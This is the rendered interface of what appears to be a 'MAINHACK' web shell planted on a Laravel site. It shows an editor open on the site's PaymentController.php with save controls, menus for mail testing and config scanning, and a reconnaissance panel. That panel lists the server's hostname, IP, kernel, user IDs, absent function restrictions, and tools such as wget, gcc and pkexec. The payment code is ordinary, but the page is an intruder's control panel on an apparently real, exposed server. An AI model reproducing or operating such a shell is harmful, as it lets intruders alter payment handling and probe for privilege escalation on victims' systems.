[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: PaymentController.php
<?php namespace App\Http\Controllers\Frontend; use App\Enums\Activity; use App\Enums\PaymentStatus; use App\Http\Requests\PaymentRequest; use App\Libraries\AppLibrary; use App\Models\Currency; use App\Models\Order; use App\Models\PaymentGateway; use App\Models\ThemeSetting; use App\Services\PaymentManagerService; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use Smartisan\Settings\Facades\Settings; class PaymentController extends Controller { private PaymentManagerService $paymentManagerService; public function __construct(PaymentManagerService $paymentManagerService) { $this->paymentManagerService = $paymentManagerService; } public function index( Order $order ): \Illuminate\Contracts\View\Factory | \Illuminate\Contracts\View\View | \Illuminate\Contracts\Foundation\Application | \Illuminate\Http\RedirectResponse { $credit = false; $paymentGateways = PaymentGateway::with('gatewayOptions')->whereNotIn('id', [1])->where(['status' => Activity::ENABLE])->get(); $company = Settings::group('company')->all(); $logo = ThemeSetting::where(['key' => 'theme_logo'])->first(); $faviconLogo = ThemeSetting::where(['key' => 'theme_favicon_logo'])->first(); $currency = Currency::findOrFail(Settings::group('site')->get('site_default_currency')); if ($order?->user?->balance >= $order->total) { $credit = true; } if (blank($order->transaction) && $order->payment_status === PaymentStatus::UNPAID) { return view('payment', [ 'company' => $company, 'logo' => $logo, 'currency' => $currency, 'faviconLogo' => $faviconLogo, 'paymentGateways' => $paymentGateways, 'order' => $order, 'creditAmount' => AppLibrary::currencyAmountFormat($order?->user?->balance), 'credit' => $credit ]); } return redirect()->route('home')->with('error', trans('all.message.payment_canceled')); } public function payment(Order $order, PaymentRequest $request) { if ($this->paymentManagerService->gateway($request->paymentMethod)->status()) { $className = 'App\\Http\\PaymentGateways\\PaymentRequests\\' . ucfirst($request->paymentMethod); $gateway = new $className; $request->validate($gateway->rules()); return $this->paymentManagerService->gateway($request->paymentMethod)->payment($order, $request); } else { return redirect()->route('payment.index', ['order' => $order])->with( 'error', trans('all.message.payment_gateway_disable') ); } } public function success(PaymentGateway $paymentGateway, Order $order, Request $request) { return $this->paymentManagerService->gateway($paymentGateway->slug)->success($order, $request); } public function fail(PaymentGateway $paymentGateway, Order $order, Request $request) { return $this->paymentManagerService->gateway($paymentGateway->slug)->fail($order, $request); } public function cancel(PaymentGateway $paymentGateway, Order $order, Request $request) { return $this->paymentManagerService->gateway($paymentGateway->slug)->cancel($order, $request); } public function successful( Order $order ): \Illuminate\Contracts\View\Factory | \Illuminate\Contracts\View\View | \Illuminate\Contracts\Foundation\Application | \Illuminate\Http\RedirectResponse { $company = Settings::group('company')->all(); $logo = ThemeSetting::where(['key' => 'theme_logo'])->first(); $faviconLogo = ThemeSetting::where(['key' => 'theme_favicon_logo'])->first(); if (!blank($order->transaction)) { return view('paymentSuccess', [ 'company' => $company, 'logo' => $logo, 'faviconLogo' => $faviconLogo, 'order' => $order, ]); } return redirect()->route('home')->with('error', trans('all.message.payment_canceled')); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.46 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002